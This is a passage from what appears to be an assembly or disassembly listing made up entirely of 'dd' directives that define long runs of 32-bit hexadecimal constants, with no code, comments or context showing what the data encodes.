		dd 6CB051Ah, 0A312D06h,	67208940h, 53490159h, 573012BBh
		dd 0F218AF60h, 22E92FD1h, 3196646Ah, 14665260h,	0C1563203h
		dd 0D9459238h, 1B406BE9h, 0B48A2EAh, 0A58FB540h, 25A3A4h
		dd 0AB66D0BBh, 0CC09772h, 5A3B6932h, 1FF3062Fh,	20D6403h
		dd 60AF31A2h, 355454E9h, 0D5F7C327h, 0AAECC4AAh, 0D5BE7613h
		dd 9EB701C1h, 3B2CF349h, 510663C6h, 2C7A0A2Dh, 0B74B7EC2h
		dd 0C8C2B824h, 5D06C98Bh, 0B3BD8B70h, 675B89A9h, 5253F238h
		dd 7CB85004h, 48A0A641h, 9E6C6735h, 4EB05072h, 2D0522ADh
		dd 3145B8ACh, 0CA4C90FAh, 11790CE9h, 992FCE8h, 4AC68017h
		dd 0AB4B21ACh, 57307329h, 16DB162h, 0C32A9FEBh,	3A182191h
		dd 0DD011190h, 0D9E22DE9h, 7AC88B23h, 0F0ECC95Ah, 1075F384h
		dd 504607A9h, 0C5604412h, 5EB434E4h, 12D0943Bh,	33E0D08h
		dd 16E96378h, 42290E02h, 9C78C330h, 0C24AB9C5h,	0ABA1C31Eh
		dd 0F662F180h, 3D51AA61h, 372713E3h, 0B2EC77FAh, 74DE1301h
		dd 9F685740h, 3EF93F0Ch, 0FDA0F425h, 19764EEBh,	835F5005h
		dd 0F3AB02C3h, 5E93D3ABh, 0BD00FC6Ch, 55E3597Ah, 81A0F8B7h
		dd 6800929Bh, 6A24DCD5h, 11085DF9h, 20A62035h, 0AD5AAA4Fh
		dd 1954E080h, 89222DAFh, 0CA8B56DCh, 2A03573Dh,	2C40F16Fh
		dd 0FB4EE481h, 3804ED75h, 26157D42h, 85C1D48h, 34823125h
		dd 470594E3h, 7C99A2BFh, 1F02C65Bh, 7FDEEB80h, 8D5AC3F2h
		dd 0FA8ABEE9h, 0F1BB81AEh, 206C645Ch, 57289957h, 4F25B3DBh
		dd 899C710Ch, 0F64EE873h, 0C4995497h, 898EEF5Eh, 3C74C919h
		dd 506D2556h, 246ECA0Eh, 0C1239003h, 0F4206E2h,	28D8385Ch
		dd 8F88AEF3h, 92DD5380h, 2735E358h, 0A2F3FF9Fh,	0BF73908Ch
		dd 972FA09h, 1DF0774Ch,	6E903A90h, 8573FB38h, 5BDF317Dh
		dd 3E3DCDAAh, 0F991AA91h, 0DA314498h, 7BF4D101h, 71AED85Ah
		dd 27EFAB7h, 94A28053h,	5C5B16FBh, 45137589h, 0C25230CBh
		dd 2E494A18h, 744F3D0Bh, 2B4C820Fh, 4DF2D69h, 52589E82h
		dd 0C4F77A55h, 0BA48061Ch, 0B0297154h, 0CDD3C397h, 0E6688342h
		dd 9C5B7164h, 9876E759h, 0F9685578h, 7EBD2FD3h,	24CF175Ch
		dd 81021221h, 0EA5D2047h, 5204A5E9h, 0A06AA2FAh, 0C03471E9h
		dd 3B43BA12h, 0FD981B5Eh, 9C03F902h, 6967E90Dh,	0EE80556Ch
		dd 32A763FEh, 1813D1BDh, 0F1EB0BF4h, 0B5D62CEFh, 0D36EF7BFh
		dd 71BA9A40h, 1C0578B0h, 0A6CD4F38h, 0D007A0FCh, 68A0695Ah
		dd 0FAB961B3h, 0BF8CAE4h, 8AA0E6D3h, 55A3FBD1h,	0AE4197CFh
		dd 62D94F9Fh, 0A2E95F84h, 77A6FAFAh, 225DD331h,	99EA0573h
		dd 35BF086h, 1E6FBE80h,	96439752h, 0AFFE87C1h, 277A0E60h
		dd 3912EE81h, 0B2AC4F5Bh, 0AB637065h, 0DDE0A790h, 2B5A9FEDh
		dd 0FC8C100h, 4DE949A7h, 5BF49799h, 669ACB4Fh, 2630259Fh
		dd 33F09964h, 0FAD1894Ah, 7A7C34E1h, 99A354C5h,	4D792BAFh
		dd 3F270732h, 4CBD68E1h, 0DFB1EAC8h, 0A94D5C2h,	0F3803B9h
		dd 0F8052CA5h, 0D928E49Dh, 1099CFFh, 613C25Ch, 5C7D4791h
		dd 685D0B58h, 0C3B2592Fh, 5A5B44F7h, 1299F2C2h,	94F2A2B2h
		dd 0BE2FF27Ch, 5C712529h, 63D1FC6Bh, 0A92D723Dh, 0D628D2EDh
		dd 0D634BC0Ch, 864840BDh, 0E2E21E84h, 0AE892E68h, 14BB0F0Ch
		dd 10CB00B9h, 0E18117DBh, 42096B20h, 0A9346805h, 8BF25FF6h
		dd 0A7FC5BB7h, 580C99Ah, 11051735h, 0E8CDBA05h,	0F0BFEEFAh
		dd 76604679h, 0B25EBB5h, 580AB8D1h, 3E2A82FBh, 2A2390D1h
		dd 908BBEF9h, 4B5FFC75h, 107B37Ah, 39E4078Fh, 4194C29h
		dd 2DA4050Ch, 93E420DBh, 924A89ABh, 529ED0BFh, 781ED7BAh
		dd 0DEFA0543h, 0FECF9390h, 0A6D2F06h, 6C10EF0h,	7AB86807h
		dd 0BF698351h, 0B9D5A253h, 0ED3CAA3Ch, 0DF2020DEh, 0F82969FCh
		dd 2CC05300h, 0DEFD189Ah, 0A685BE8h, 54546A67h,	0FE2B14B2h
		dd 4BFF4B11h, 2A1C2CCFh, 60FCA5E7h, 3A009DA6h, 2169E33Dh
		dd 0E5A890F7h, 6F249262h, 3801A829h, 6AB12BF5h,	29C1218h
		dd 5D994A5Ch, 0ECBFCE36h, 13188E4Dh, 2EC4A9E9h,	68086252h
		dd 504075B9h, 3835E95Dh, 0F0BE3A8Eh, 7041D9D6h,	65ECC17Bh
		dd 0FCAFD646h, 9EE94722h, 0CD81995Ch, 569911B2h, 64A7282h
		dd 0B84A0940h, 8839F9DFh, 3A289912h, 0FFAB7E25h, 718C5C92h
		dd 9F408A27h, 0A8109FBDh, 0EF5C89FDh, 0A37B2AE7h, 0A1325577h
		dd 5D5D0E97h, 0C604F3C4h, 5830B3F3h, 5D5EED82h,	49F5A848h
		dd 3F9A541Ah, 248783B2h, 0FD180446h, 0A87E7FB7h, 61718E6h
		dd 0BF18874h, 0C830585Ah, 20DD1C57h, 439032A9h,	0C46CF01h
		dd 21DD6843h, 0A91B2189h, 54320949h, 0FCC2FAA7h, 179157FBh
		dd 8FAD3E14h, 5D05B801h, 3048349Bh, 6413465Eh, 200129CAh
		dd 2DC5405Ah, 0CCCDF56Eh, 1B0B10FDh, 0C8C3E970h, 0C80D340h
		dd 5A66B7EBh, 0CCFE980Ah, 9BC9845Fh, 1B7466A7h,	0AF65B42h
		dd 0BB721868h, 6C73C680h, 0EEEC6EFAh, 0F588CD03h, 0D5B5515Ah
		dd 521409EAh, 0A2A1E602h, 88C9E57Fh, 0C22D8825h, 6BACFE4Ch
		dd 0DEA57045h, 0F9DB08C0h, 0A7215524h, 0E91A102Dh, 0BD5092EFh
		dd 5527EB45h, 56571192h, 68175608h, 7376723h, 85284F83h
		dd 92D3F6ABh, 89842A13h, 0F27F6F89h, 0E9518135h, 0AA81FD23h
		dd 2A3FD1B8h, 27FF202Bh, 0D2882B96h, 266128C4h,	4EAF9AE8h
		dd 0FA305357h, 9610028Fh, 0C2680B78h, 67F55E13h, 36EE0BFEh
		dd 73C98ACBh, 2DC5AF7Bh, 7EF70A8Bh, 679869E3h, 8B9C6ED6h
		dd 0A32362C2h, 8D8DE93Dh, 6BC5F6ECh, 0A5EDEC2Dh, 3D2D47A6h
		dd 57804259h, 662123BFh, 0F781021Dh, 356F7D78h,	32AF65Dh
		dd 43AD3114h, 0DEE91009h, 0CAED718Dh, 6DF80399h, 0E62D32DAh
		dd 59675EBh, 0E9875D16h, 41F540F0h, 1CB02AB3h, 0D8C4820Ah
		dd 688087E8h, 6037139Eh, 0B74E0842h, 7F967D2Fh,	5DB938C0h
		dd 245B4803h, 0A4337168h, 8E002D2Ch, 0F480CFB4h, 4599D25Ch
		dd 79412BCFh, 1A744207h, 0CA1E90F4h, 81C01639h,	88DBC480h
		dd 60E46EE5h, 0B7B43250h
		dd 5B615C4Ch, 0C9CE0726h, 7C61A903h, 0B4E9D044h, 0F7F9F06Ah
		dd 5AF301B8h, 75486866h, 0B5CD13D3h, 1D230740h,	0C3AE3E28h
		dd 0EFD8EAB3h, 0B8F8A84Ch, 295FCB01h, 7E53F88h,	0CE21C89h
		dd 0FF8E30Ch, 8AE1454Ah, 0E9F402DBh, 59BC756Ah,	25A2C77Dh
		dd 0AD8AE186h, 6B53BD04h, 0DBC27503h, 0C1068057h, 4CF14A2Ah
		dd 5668E106h, 0AF5D1308h, 0AABD87CCh, 6E13FFA7h, 0E3C9B5D2h
		dd 0C5C6DB5Fh, 7121B905h, 84FA61BBh, 0D0C8EF88h, 0A5037D8h
		dd 388D0A8h, 81974C91h,	28F376AFh, 15DA7E82h, 16D4A1A8h
		dd 68C32907h, 0ECA96F64h, 42E00A83h, 2DBF865Fh,	0B8FC82C2h
		dd 42BC011Eh, 0FD9F094Fh, 6817F11Ch, 2EAF4F28h,	0CB015906h
		dd 99B05554h, 0B2999642h, 8D3338EBh, 0A851950Dh, 2382C4CFh
		dd 0CF88B4B3h, 0D7A877A6h, 8209B10Ch, 13F1AE51h, 0C3F7B4Bh
		dd 0C287B696h, 80B9FABDh, 9B7A6481h, 8A551946h,	0C8AE0425h
		dd 7952D96h, 500FF5BCh,	0C309B54h, 9C3AE9E8h, 1ABDEA5Dh
		dd 93BDDEB1h, 5877CB58h, 6E502EDh, 0E3E91134h, 0F893E89h
		dd 68090F5Ch, 9B105C9Dh, 95E95E9h, 0BFF48C76h, 9574AD54h
		dd 2ECF0836h, 3382B6BEh, 0E891FD21h, 9056FA8Bh,	0B56BF170h
		dd 0D8ADE671h, 22CF7B05h, 0FFA1531Ch, 0F3302B72h, 48AF1E32h
		dd 0F100E130h, 5201DD2Dh, 0FA5E50E9h, 0C1967A37h, 503E9461h
		dd 0B12C4BAh, 90AF119Dh, 0F43EC2A6h, 0AEEE6228h, 0DC6F7B09h
		dd 48E8F507h, 0F2794C08h, 0B60F297h, 54B2687Bh,	10AB3DCh
		dd 0F31D96D7h, 4424889Eh, 0E7315B25h, 0BB732E8Bh, 88C5A1B2h
		dd 2D934431h, 3F6D8D16h, 9E6938Ch, 490919E8h, 2865E957h
		dd 9B3EC87Fh, 0BCE804E7h, 0C1D1C13Ch, 3049D5D0h, 990C65A1h
		dd 30404B0Ch, 0C6631F4Dh, 47EB0169h, 6B2F2256h,	4B085B50h
		dd 0BDDA43F2h, 9F21FA57h, 9099B502h, 629B5655h,	0F606EE7Bh
		dd 2EE698A0h, 6FD76AF0h, 0DDA14A06h, 2B02CB05h,	0C9BE571Fh
		dd 4FA06E7Ch, 1A0CC152h, 3A1544D3h, 73BC88C4h, 24620325h
		dd 0AD927357h, 9D501C77h, 0E98559EDh, 0B791ED2Bh, 0CC2A4861h
		dd 0CC6045EFh, 3701BA1Ah, 4BB2B8CFh, 0B963844Eh, 3853DF47h
		dd 94BBA5C1h, 952A25F8h, 9BE12C5Fh, 220625E9h, 89C97EF6h
		dd 1402D766h, 644A919Dh, 70D16175h, 0E86FE625h,	0FFF2A7AEh
		dd 8E12FFCAh, 7F702086h, 522F2860h, 253C3FBAh, 0B6D4761Bh
		dd 0FBFBA839h, 24620B82h, 33772DFh, 8030B353h, 0DEEADDF3h
		dd 6BA8AD41h, 1393B5A3h, 2AD3F1BFh, 0B3787CEFh,	5C7DD8AAh
		dd 0A56850F2h, 35A4A1Ch, 0A4F29BBFh, 3852E10Fh,	82EC1457h
		dd 451C0501h, 0C1565F25h, 0D17F32DEh, 4F5C2A2Bh, 97A576C2h
		dd 1EAE55B3h, 0C477D32Bh, 0C18E27EAh, 0A34A1055h, 0F8478169h
		dd 0BBCF115Bh, 0F477A4FEh, 435161A7h, 16C5E20h,	875A284Bh
		dd 6ED7F7FDh, 0E83DBA04h, 17C464BCh, 57580BE5h,	7B051182h
		dd 2D1DE180h, 0C3135477h, 8FA5022h, 792CEFCAh, 0F328AD07h
		dd 954C18A5h, 0A89B5F5Bh, 418368B8h, 0BC86E87Dh, 589ED6B5h
		dd 0F0256858h, 1523133h, 9F1566C2h, 0E5B4015Ch,	0A868E8AAh
		dd 9C185B26h, 55025157h, 0D45C4568h, 0CD7DE022h, 9C2D1E98h
		dd 366EF75h, 19F29FB0h,	0E9730809h, 555761A4h, 9EF76061h
		dd 667B599h, 0C831ABFh,	9907438Dh, 0C82B2DC8h, 185A6F66h
		dd 10104BF3h, 5F4250BFh, 3ED8904Bh, 300F4192h, 0CA40232Ah
		dd 6E9E000Dh, 0B9512C09h, 1D0B60CDh, 84E1D129h,	0A311A502h
		dd 1865EF8Bh, 0CB69699Ch, 2B3C694Fh, 84AD945h, 5E1A6865h
		dd 619C0E4Ah, 72497A4Ah, 0BC1425FCh, 96D762C2h,	5E821FDCh
		dd 407AF568h, 3002B8E6h, 940C4F59h, 660DC938h, 2E8BB7E9h
		dd 0F7DCCBC1h, 37A295B3h, 28017F37h, 0E02A5AD0h, 2BF4005h
		dd 6CD730D1h, 5239B4E6h, 0FD952CCCh, 0B9B747A2h, 5F15F2FFh
		dd 5A14C21Bh, 8904E7F7h, 0B6297B68h, 49F75B77h,	566F63F1h
		dd 254B16ABh, 0B2D2EE1Fh, 0E7057BBh, 85DA04A1h,	8FC331C7h
		dd 67AFBF04h, 0DA0BF00h, 0FCA070B2h, 5582E005h,	91A0C2FCh
		dd 0ECC4C15Bh, 85A0E3FBh, 35AB6789h, 0E05FBA88h, 2DA1A052h
		dd 28FB2Eh, 0E2674B6Eh,	8CD0847Fh, 9319B9ABh, 9A95B0BBh
		dd 7C27BA9Ch, 0B85078AEh, 5872E702h, 6AAEE91Bh,	7ED6773Fh
		dd 0EFB7713h, 0C31CD41Ah, 0F634B551h, 6E5C0F0h,	8E9525B8h
		dd 9B21AC68h, 80B303B2h, 50511BEAh, 91A5E8E1h, 444A1023h
		dd 94BA7FBDh, 3BC2AF22h, 0C44BFF2Eh, 0E595385Eh, 7E8A69EAh
		dd 41DCBD2Ch, 0B3EF01FBh, 72A12B1Ch, 0D379A8D1h, 0C187929Eh
		dd 0DDEF019Ch, 0F70B7E6Dh, 92F00704h, 0F7AB0292h, 0E18829D1h
		dd 0C07525D7h, 0CBF2B6FAh, 0EAFF2910h, 0D24BD51Bh, 41E9B713h
		dd 29661043h, 790598C8h, 0AC594C07h, 9BD31F2Fh,	1D03A288h
		dd 77688953h, 0AD7DD510h, 8388BC26h, 0D4E46A2Dh, 0D80F1557h
		dd 7F025827h, 90771D2Ah, 2C52B46Bh, 10449AB2h, 0A4675AE3h
		dd 0AAD0ECC5h, 0B859CD01h, 6B2020C5h, 77ABB904h, 0C3EF6431h
		dd 0CEF24931h, 629FB1D0h, 0B7164099h, 55DC2D20h, 1F2E3A70h
		dd 45ACDA66h, 69980815h, 0EAB402AAh, 0C26A545Dh, 0E902771Bh
		dd 0BD9E68F2h, 0E74F1790h, 908DBC7Fh, 0E6A55A86h, 94E8D5E3h
		dd 35F6EFB5h, 67DF5F89h, 9E572D6Bh, 65BA2547h, 8D272546h
		dd 0A19C5DEBh, 1B6C682Dh, 0E081C608h, 12779759h, 2C58F558h
		dd 0AF53F009h, 0F452063Dh, 0C031500Dh, 0C25527E9h, 7EA57BD1h
		dd 92021452h, 0EFFC8B16h, 0A85B608Bh, 1C53B15Ch, 83C95A6h
		dd 5516BEF3h, 53EB98EBh, 0E93EBB42h, 2E54FFCFh,	0D0CC4A35h
		dd 16BF2568h, 1F023E46h, 0E922FC7Bh, 9D4D78FAh,	7CEB09FCh
		dd 96D927CFh, 3E7BD3EBh, 0BB5B6E57h, 0F26BBF39h, 8CAB4ABEh
		dd 7825E973h, 95CADAF0h, 0D46EC1E1h, 40B52CBBh,	0C4AF8CE1h
		dd 0AA5F5420h, 48F7C1B9h, 7C23CA0Bh, 99825A87h,	0FEFA8B67h
		dd 0D374245Ch, 16A35EFh, 0D14DA996h, 1C0A6E55h,	0E90508C3h
		dd 0ED37ABF5h, 5A714583h, 10EAAC10h, 1050F3EDh,	963D294h
		dd 93739EEDh, 888B3398h, 0FF60BFF7h, 6880971Bh,	784F5EA7h
		dd 4C985A11h, 9BA9935Fh, 0A303C281h, 0A5F42B08h, 5D1D19C4h
		dd 84010C38h, 7842E943h, 1C5CCAAAh, 0E7ACD789h,	0DF20E009h
		dd 2B2AA231h, 0F7EA8812h, 4EA44BBDh, 2BA3413Eh,	0BDCAC2B4h
		dd 8289C971h, 0EEC92080h, 250E06A1h, 0E7685D1Fh, 9CB585AAh
		dd 0E8D2D67Ah, 96B84FAFh, 0AFF1FBC4h, 552C1041h, 0BCED6D6Bh
		dd 0FABE3B80h, 89372F03h, 2556F15Dh, 12FC657Ch,	0B1EAE85Dh
		dd 357AFA68h, 8581AC89h, 0D9BED821h, 0BD675859h, 39604400h
		dd 13F5817Dh, 61750A18h, 80FCDBE9h, 5859CB88h, 284EBC2Ch
		dd 43A029EFh, 101C192Dh, 0CF9BC7FEh, 0EA36DA08h, 0E4B15459h
		dd 0FB44FB19h, 0E016D4FBh, 5C43B440h, 0F55CF44Ah, 16246D69h
		dd 0BFA4FCC8h, 58C12923h, 0E4FDE192h, 5D920A6Dh, 84EC135Bh
		dd 0FF6CC668h, 69728398h, 24743EDCh, 0A5AA9D88h, 0A5BD7258h
		dd 0A3BF582Eh, 0E9D10570h, 74EBA4D7h, 6775BB31h, 0FE4F1BA3h
		dd 436F713Dh, 6B18BA23h, 0D95D31C2h, 0C02529h, 0A98370E5h
		dd 0A32A62A1h, 0E7049351h, 0B609AE38h, 7431D402h, 0AFF459DDh
		dd 870306F8h, 120AB13h,	8B440DAh, 9AEA5029h, 46BCD656h
		dd 4CF3088Ch, 0B576D295h, 0C26802C1h, 6D84DC71h, 0F18C7001h
		dd 23D69729h, 5E4C0FA0h, 52E4C55h, 0DE29CA58h, 81ABD784h
		dd 63FBE452h, 13EF4F84h
		dd 0D444BBF6h, 0F7E966E9h, 0C3553Ah, 8ADC51B9h,	4A95E963h
		dd 1624D1D2h, 94BB007Eh, 13AB2E6Fh, 4AF710CFh, 0D1F945EFh
		dd 1121EF79h, 0EA04EC60h, 0A1D85A11h, 0A7507DE9h, 59696856h
		dd 9B943F22h, 0B85BB859h, 0AC2FE919h, 5453A118h, 0B4BDF87Eh
		dd 921B8AEFh, 0F3DF5A09h, 5A8B9AACh, 9E7E1282h,	91BBBA04h
		dd 4540151h, 2B8536F9h,	9146C868h, 0BD802500h, 6213205h
		dd 8888BF44h, 685A0207h, 0A6C65E9h, 40935435h, 62A3CBEBh
		dd 6B34E98Fh, 98403932h, 96805FCDh, 0F7092F0Bh,	82E2DB4Ah
		dd 2DFE8812h, 26C37A7Eh, 42B79CE8h, 0ABB5C159h,	60F75221h
		dd 6C1EAB05h, 55CA4C09h, 97F43CC6h, 0F614035Ch,	4100F578h
		dd 9C04E181h, 49537C15h, 0F1F0EC0h, 0C2360A6h, 44EBF6CDh
		dd 0E9CB2104h, 0CDB3A14Bh, 0F2699501h, 7550482Ah, 0F7813A0Ch
		dd 0BF05E461h, 0E689C594h, 53B1587Ch, 0D22029A7h, 0CF239312h
		dd 0C1051FC9h, 585224D0h, 0C0FE0AB0h, 56B25200h, 345AD020h
		dd 506BE437h, 4B048F28h, 7D1BE4Ah, 2130CB01h, 235C1F33h
		dd 52745308h, 3974AAD7h, 0B966BCEFh, 12B22820h,	0E7B2128h
		dd 0D3586F57h, 451DC7E3h, 0F3807710h, 72AB32D1h, 624E2C68h
		dd 7521CF1Bh, 7061067Fh, 0A30BEFBCh, 551AC92Ch,	89F5238Bh
		dd 0DA635788h, 79DFDEFAh, 8A566675h, 5D60FB03h,	12F9BE45h
		dd 66D6310Bh, 1B13C494h, 675A374Dh, 29080536h, 0C89821C1h
		dd 0FE8F6801h, 0C982E051h, 0E01FED4Ah, 0AAAFDA3Bh, 2DB78F3h
		dd 6DAD4C04h, 72DF5356h, 0EE94A0FFh, 0EDA8318h,	7F497969h
		dd 19BED80h, 5F1BB816h,	3385A406h, 9D5BF740h, 0F5CD325Dh
		dd 5F090E6Dh, 0D29E751Ah, 0B785A520h, 0FE2D60DEh, 7A57A4A5h
		dd 0C26C51D5h, 7BFF835Bh, 3CD62036h, 5AAD263Fh,	7E32AC55h
		dd 0C536067Dh, 26EF0161h, 0F95D0882h, 0EC9CB444h, 0E6D1C5CCh
		dd 809DDC83h, 33E903CBh, 0DDBD6976h, 706A9CBAh,	8B52C7F7h
		dd 0A95A26E9h, 413CE305h, 56830A44h, 0D9473BB2h, 28A6CB90h
		dd 9302C255h, 893DA03Fh, 5030C2C5h, 0E7584B64h,	0D2EE9257h
		dd 3D689CCFh, 0A716B105h, 0E4E88D40h, 37C18317h, 0A8BA82A5h
		dd 5F193E5Dh, 0C6C8901Dh, 455073AEh, 8E448B82h,	3CE0FBF1h
		dd 7CB7341Ah, 2579F90Ch, 7515D75Eh, 2DAF4E08h, 0F5CB94DEh
		dd 575F66E6h, 72B5BEF8h, 36561E29h, 68C3CC24h, 6FF38D42h
		dd 21169117h, 0E0397A38h, 421F4A7Bh, 0DDFCCA87h, 39E15F90h
		dd 559F7F7Ch, 0B507FA56h, 3AA2CBCh, 0B2A404E8h,	64941011h
		dd 4B22BF5Fh, 865AFF5Ch, 985DE820h, 53630BBEh, 0A8D57CB5h
		dd 792F0806h, 6908C000h, 0FE974317h, 0D20820B3h, 1959B20Ch
		dd 2160B15Ch, 28839D44h, 0F1AEC17Ah, 7DBD92FBh,	5A48B044h
		dd 0F43870B9h, 0CF21267Fh, 0E277E90Bh, 8C5955BDh, 3BA1CDE5h
		dd 0F13DFF2Fh, 85A5FD6Ah, 9C4908E9h, 4510D72Dh,	1C895D63h
		dd 5E0D5824h, 7B28EFB0h, 56C8A84Ch, 6E460BBEh, 8A7D5372h
		dd 0FF3D4777h, 0E4ED5898h, 2030181Ah, 0CAF90C7Eh, 0A3295C06h
		dd 7CB8CF25h, 0F79D5DEFh, 4B9D9F9Ch, 1C992C0h, 73605268h
		dd 501C7747h, 0E683CC88h, 0D34C8A58h, 4A74CB05h, 5ED0CA08h
		dd 266470A8h, 3FF7D901h, 862443B3h, 5CD88C4Dh, 474BB374h
		dd 0DA4C3ABCh, 9BFCFA2Fh, 17816063h, 4F64925h, 0F5094468h
		dd 0FBE6034Dh, 6273B2C7h, 6BEF7ED6h, 4FF6D0AAh,	1D9AF5Fh
		dd 37C4E22Bh, 8E92A35Ah, 44C7A91h, 2817CF81h, 17C4EBD5h
		dd 54C7C001h, 9F34606Bh, 0A2F712D7h, 0DD42A4A9h, 0F61FFBB9h
		dd 6AEF7B47h, 0FBFCD2B4h, 80D502Eh, 0C4B4884Dh,	0E027C1EBh
		dd 0CD2C6B6Dh, 0CC75750h, 0F616625h, 0F9822A02h, 0F5A2AB36h
		dd 0EB6C38A5h, 7610AF5Dh, 88ED2F7Ah, 6A5F1ED7h,	2DAE4315h
		dd 5BA566DCh, 9BF82526h, 1C670773h, 8E03E426h, 6C0C0442h
		dd 970CBC2Ch, 2C082AECh, 79AA09FDh, 0DD029ADDh,	8201BED2h
		dd 0E9679519h, 5D7BCEB9h, 4B635FB8h, 94E03109h,	431383EAh
		dd 69FD7D02h, 0B37B0841h, 5E358543h, 5559929h, 89FCF7ABh
		dd 0D5EEAB5Fh, 0F5542341h, 486D7D01h, 96845AA2h, 0F038FDAFh
		dd 0BDAF90E9h, 0D27309FEh, 3DCF45C2h, 1EF95DAFh, 5AD37D69h
		dd 3E5B408Ch, 0EAFC9559h, 0FEBC584Bh, 951069FCh, 7BA72600h
		dd 5D4A7E5Fh, 5315629h,	0DFE91000h, 925EB7FEh, 841D7D43h
		dd 91F6AAh, 5C61578h, 7431E681h, 0F74C1203h, 2F7700D6h
		dd 0E9450E3Fh, 0FF7D4F2Dh, 0ABB07134h, 2888D24Bh, 0BA2F0BA1h
		dd 0F3FEEB01h, 0B0A81E5Bh, 657D767h, 3D8CBDE6h,	2F9DF20Fh
		dd 1302D23Dh, 752D1BAFh, 0F708DBE0h, 0CEA0D25Eh, 0E817248Eh
		dd 9C203E8Bh, 207770B5h, 593C08DCh, 0A7753C80h,	5AFAC179h
		dd 6EB2B62Ch, 2282105Eh, 4077957Dh, 184C6946h, 904225B9h
		dd 2800913Bh, 5AD3299Dh, 0B75B5953h, 56A47A54h,	0B7C9CA39h
		dd 2A87E53Bh, 0D69A94B0h, 30CFB19Fh, 6841C80Fh,	5CB1A72Ch
		dd 11DE22D2h, 0C3025A37h, 26527EFh, 0BA39B8Eh, 9A035C31h
		dd 5A4E5B3Ah, 2E0E054Ah, 173B150h, 931AB59Ch, 0FCC9210Fh
		dd 7B05C93Dh, 0E3C1EBD1h, 544579C2h, 5A38BD4Dh,	33C1DD2Fh
		dd 5E03D6C0h, 1425BF57h, 0B45077D0h, 30B53887h,	5258E58Ah
		dd 0ADB11DAh, 0FB2D08EAh, 0A1A8291Dh, 625D0882h, 0F02AE65Fh
		dd 0D3D24F6Dh, 4509F19Ch, 82F6ADB5h, 0E63CE3B4h, 2AB32C72h
		dd 5780320Eh, 1B69C0FFh, 0F78276h, 547A10FAh, 0AA58D640h
		dd 0FC2924h, 97B7958h, 0FD298235h, 9EDAE582h, 42055D00h
		dd 5A972F4Fh, 70C0362h,	0D04A73B2h, 40854098h, 0ECBDAD5Eh
		dd 0B83327E3h, 106968FEh, 80A65B2Bh, 0FB630ACh,	0E8B7D8ECh
		dd 0EC70580h, 0F90F97E9h, 3072079Fh, 0AFB31B82h, 0BB16030Ch
		dd 3DAB6A1Fh, 2E7211D1h, 80C248F3h, 5ADDD5C3h, 4A583B7Fh
		dd 53D0CFA5h, 2AFF594Bh, 0E1F71791h, 7A10A2FCh,	0C44648B6h
		dd 0ECF16C68h, 9D104D30h, 68419E79h, 238A32E0h,	948CE5F1h
		dd 0A084FCC1h, 0D781AD11h, 0EE8CABFh, 12061DE9h, 7BF8B3AAh
		dd 2A0A7427h, 5C2F5CB0h, 0E777460Bh, 0AF8CB0A1h, 9810FDB3h
		dd 40825891h, 2F7A5F4Dh, 0E35665D6h, 60020632h,	81F20670h
		dd 0B72F54h, 0CF921F39h, 1B280D0Bh, 99803A0Dh, 0B5265368h
		dd 0D3133818h, 0DB238482h, 0EE4C4FAAh, 28F2C056h, 81002FE7h
		dd 0A6C8CE1h, 6A2AE906h, 285A280Eh, 0FE57BF1h, 0D709602Bh
		dd 131CAAF7h, 0C962566Fh, 0E6CD3C98h, 712D3381h, 97DB8725h
		dd 0DD97C1A2h, 5E50BA3Ch, 88B286A0h, 60D77197h,	0FE65B151h
		dd 0D9F6C90Bh, 20385556h, 0E972DE01h, 0AD41974Ah, 7B490DB5h
		dd 8128842Bh, 2F3359DDh, 8F31CEE1h, 0B8F1F5CBh,	0E2A78538h
		dd 4E775968h, 4D595A9h,	86E0DABBh, 73BD3168h, 3881A431h
		dd 4451CF01h, 9CFBC75Ah, 17409A38h, 21992C68h, 6B0F6989h
		dd 5B1279A8h, 0F1327DEEh, 5D5E0257h, 0E09AB7B3h, 0D10B72DEh
		dd 0EC3E168Ah, 78E409E2h, 968E76F9h, 0E0EFC002h, 22E6F3D7h
		dd 1CE92D89h, 0F7C9AD48h, 370C531Dh, 187DF180h,	2D6829F9h
		dd 81F94CC8h, 3A82BA80h, 73E96410h, 0F8D6B5B2h,	87785D69h
		dd 916BD327h, 0AC2E050Dh, 83E94FD2h, 564D819Ch,	61E9557Eh
		dd 507267DAh, 11CC1C4h,	4AFB59AEh, 0C25BD4FBh, 0EDF55EC8h
		dd 0E5FF2541h, 0AE060920h, 884F9879h, 0ADF6B001h, 4901C00Bh
		dd 457D2A05h, 96402936h, 0B878B7BDh, 20E91266h,	0AF29A469h
		dd 86717C3Dh, 0D8F7E0D1h
		dd 86252604h, 57B05C2h,	418982E1h, 0FE522F7h, 146801F5h
		dd 5E312A65h, 0C02B293Eh, 78B6CEBAh, 0EB268C24h, 94407200h
		dd 6112E928h, 68E1330Bh, 0EA84F77Fh, 0BCA4A3B8h, 2FC2710Fh
		dd 0D52BEE81h, 0CA5F9042h, 45080B82h, 0E8831F68h, 0C4D64BDFh
		dd 7FE6EA2Bh, 0AF88BA4Bh, 753A2AE9h, 560F25FFh,	5102C72Bh
		dd 0E8DD7E2Fh, 242C7FCAh, 1E61A5Ch, 0C120251h, 97F3F443h
		dd 94993513h, 0C2BA61C5h, 0A5F083D0h, 7A98D095h, 0E2125C80h
		dd 0A85A2C17h, 551E340h, 4907585Ah, 70C6FE01h, 0F9C1488h
		dd 472DFD11h, 5056E003h, 28C42C00h, 67B820F2h, 37442C6Dh
		dd 7A7D1066h, 0A1117C09h, 0E4B2024Bh, 295D02BEh, 0F40B6A54h
		dd 8B70D148h, 0A2C6607Fh, 38714316h, 0D27BA804h, 4D82801h
		dd 784DE51Fh, 555A2D40h, 68C82ABBh, 0D23B7C57h,	80FECA2Eh
		dd 44C5CD4Eh, 2635042Ch, 19030716h, 0AF922F53h,	1BD3CFF0h
		dd 0E9410B5Eh, 6EE4168Fh, 202E2BB0h, 7749A1CEh,	0C17222C2h
		dd 0A0BC3720h, 0B1154A4Ah, 0CCD769B8h, 0B02659E7h, 134F8140h
		dd 0EC5F3ECEh, 8A6FC44Fh, 0BAC33004h, 0B98B4BF9h, 5BCB6163h
		dd 2BCD28B9h, 0E909EE9Bh, 1E9ABB7Fh, 0EA985AD7h, 0A44C173Eh
		dd 0E2B81621h, 6203C04Bh, 0BF31470Ch, 898B25C5h, 2DC866EAh
		dd 0D7C177FFh, 29F8346Dh, 223EB69h, 5409E3D7h, 597D722Dh
		dd 58566238h, 0B637B0F5h, 0F2C79DDBh, 5C6DBF00h, 9F532EB7h
		dd 8E8BBC65h, 9EFF767h,	0F6FEF320h, 41D85981h, 0D5CE9FA2h
